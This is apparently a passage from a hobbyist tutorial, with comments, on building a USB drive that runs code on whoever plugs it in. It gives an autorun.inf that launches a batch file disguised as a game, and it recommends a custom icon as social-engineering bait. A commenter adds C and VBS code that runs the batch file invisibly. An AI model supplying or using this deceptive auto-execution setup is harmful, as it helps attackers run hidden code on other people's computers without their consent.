Step 2: Create autorun file for the flash drive
Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.
[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat
a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf
look at pic two if you have any issues.
You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.
next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.
next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.
The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.
Remove these ads by
Signing Up





































Visit Our Store »
Go Pro Today »




This will still work by running the Launch.bat directly, but a silent autorunner is no longer possible on most PCs (for obvious reasons...like this one)
it just keeps getting in the way.
+Write (and compile) a C file that runs your batch file's commands invisibly
#include <stdio.h>
#include <windows.h>
int main()
{
system("examplefile.bat");
return (0);
}
+Write a VBS file that runs that compiled C program (now a shiny .EXE file)
Set objSh = CreateObject("Shell.Application")
objSh.ShellExecute "example-exe-file", "" , "", "", 0
Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.
This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).
For more help, just comment.
By the way, I was about to write an instructable on that, but now I dont think it's necassary.
Computer hacking is broadly defined as intentionally accesses a computer without authorization or exceeds authorized access.
So in a way yes this is considered hacking, also Wikipedia states that social engineering is also a form of hacking. So if you want to get down to it YES this program does hack and YES you are wrong in saying that all I am doing here is using people to run a program.
I guess in the end I am saying you’re looking into this too much take it for what it’s worth and if you don’t like it move on thanks.